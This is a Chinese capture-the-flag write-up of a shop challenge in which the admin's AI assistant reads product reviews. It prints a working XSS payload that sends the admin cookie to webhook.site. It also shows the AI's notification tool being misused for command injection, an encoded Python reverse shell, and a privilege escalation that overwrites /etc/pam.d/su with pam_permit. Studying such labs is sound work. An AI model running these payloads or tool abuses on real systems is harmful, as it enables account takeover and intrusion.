很久没有出过题了,上一次出题还是在上一次,看到这次4月赛这么多人在玩,就忙里偷闲随便整一个

我会从做题者的视角来写,让大家可以更直观地看到渗透的逻辑链

通过题目描述可以得知,老板最近经常(实际上是1分钟一次)用AI看一件夹克商品,进来看了一下,只有一件商品是夹克

image-20260407191653443

image-20260407191717554

随便注册一个用户,上来后发现给了个邮箱服务,其他没发现什么有价值的东西,那就玩玩AI吧

既然老板经常看这件夹克,那我们也看一下

image-20260407192009213

可以看到,会显示客户评论,和商品页面下看到的一样,所以它的功能其实很简单,就是把评论区的内容照搬过来。既然这样,如果这里存在xss漏洞,老板的账号如果执行了我预先埋在评论区的xss payload,我就可以拿到他的cookie,上他的号看看。所以先来验证一下有没有xss

回到夹克商品页面,随便打个alert试试

image-20260407192345843

image-20260407192541799

可以看到没有执行,因为被包在了div容器里,但并没有做过滤或转译,所以试试img标签直接看外带能不能成

image-20260407192732165

重新操作一遍后,最多等待1分钟左右,会发现成功收到回显

image-20260407192757869

既然可以外带,那就准备外带cookie的payload,既然script不行就用img

<img src=x onerror="location.href='http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c='+document.cookie">

image-20260407193211784

拿着外带回来的session就能登录到管理员akared777用户

会发现多出一个管理员后台,但也没有什么特别的东西,只能证明我们已经成功登录到管理员用户,所以既然还是搜集不到东西那就再玩玩ai吧,老板喜欢玩的东西肯定不简单

image-20260407193427980

这里我们如果用普通用户问一样的问题,会发现普通用户只有第一个功能product_info,只有管理员才会多出这么多功能。

不过,llm最大的问题就在于同样的问题不一定能够被稳定复现,所以最稳妥的问法还是从它的功能原理——API问起

image-20260407193922486

当然,要是中文不行,题目一开始的提示里告诉了英文最佳,在实战中也是个很常用的tip,这里就不演示了

经过排查后,关注点锁定在dispatch_notification这个功能,

image-20260407193702497

可以搜看看

image-20260407194132936

命令行吗?有点意思,斗胆试一下命令拼接

image-20260407194834286

这里它给的用法里没有指定是哪个工具,如果只发一个json它应该会不认得,所以在前面加上api的名字

image-20260407195104924

会发现akared777的邮箱并没有收到邮件,但我并没有直接放弃测试这个api,毕竟这是道渗透题,环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱,所以开个无痕登录一个普通用户

image-20260407195336122

会发现普通用户的邮箱地址和管理员不太一样,加了一串随机字符。所以我们拿它重新尝试一下

image-20260407195504192

会发现还是没有收到邮件,所以我开始推测可能是我写的格式不对或内容不行,删减自己的json数据,到最后尝试让他只发送一封空邮件

image-20260407195925966

image-20260407195937650

成功收到

image-20260407195958072

会发现它已经自己写好了内容,也就是content,所以可能是怕我做命令拼接,所以会丢弃内容,并拦截

不过到目前也只验证能发件,content又被ban了,那还有什么地方是可控的,可能存在拼接的吗?对,还有一个用户名,而且这个邮件自带一串随机字符,说不定发件定位用的不是用户名,而是这串随机字符,那就梭一把

image-20260407200253502

image-20260407200346036

get it,至此我们就成功拿到了webshell,然后就是最喜闻乐见的反弹shell

会发现空格遭到了过滤,而且太多引号也会导致奇怪的失败,这也是渗透常有的事,就不多展开,直接上我的payload

dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com

因为根据请求头会发现用的是python,所以直接用python弹更稳定

image-20260407201113370

image-20260407201459461

接着就是提权环节了,会发现root没有权限进去

image-20260407201544395

接着就是上可读可写可执行的查找三板斧,会发现可写里有个值得注意的家伙

image-20260407201811579

pam是linux的统一权限管理接口,用来管理linux程序的权限划分,可以利用覆写配置达到提权

没有读权限,但有写权限,那就只能靠蒙,看能不能蒙到可以直接利用的东西,直接试试最常见的su看有没有

echo "auth sufficient pam_permit.so" > /etc/pam.d/su

image-20260407202052960

能写说明事先没有这个文件,现在我们写了用的就是我们的,最后执行su就能利用配置文件成功获得root

具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969

image-20260407202256985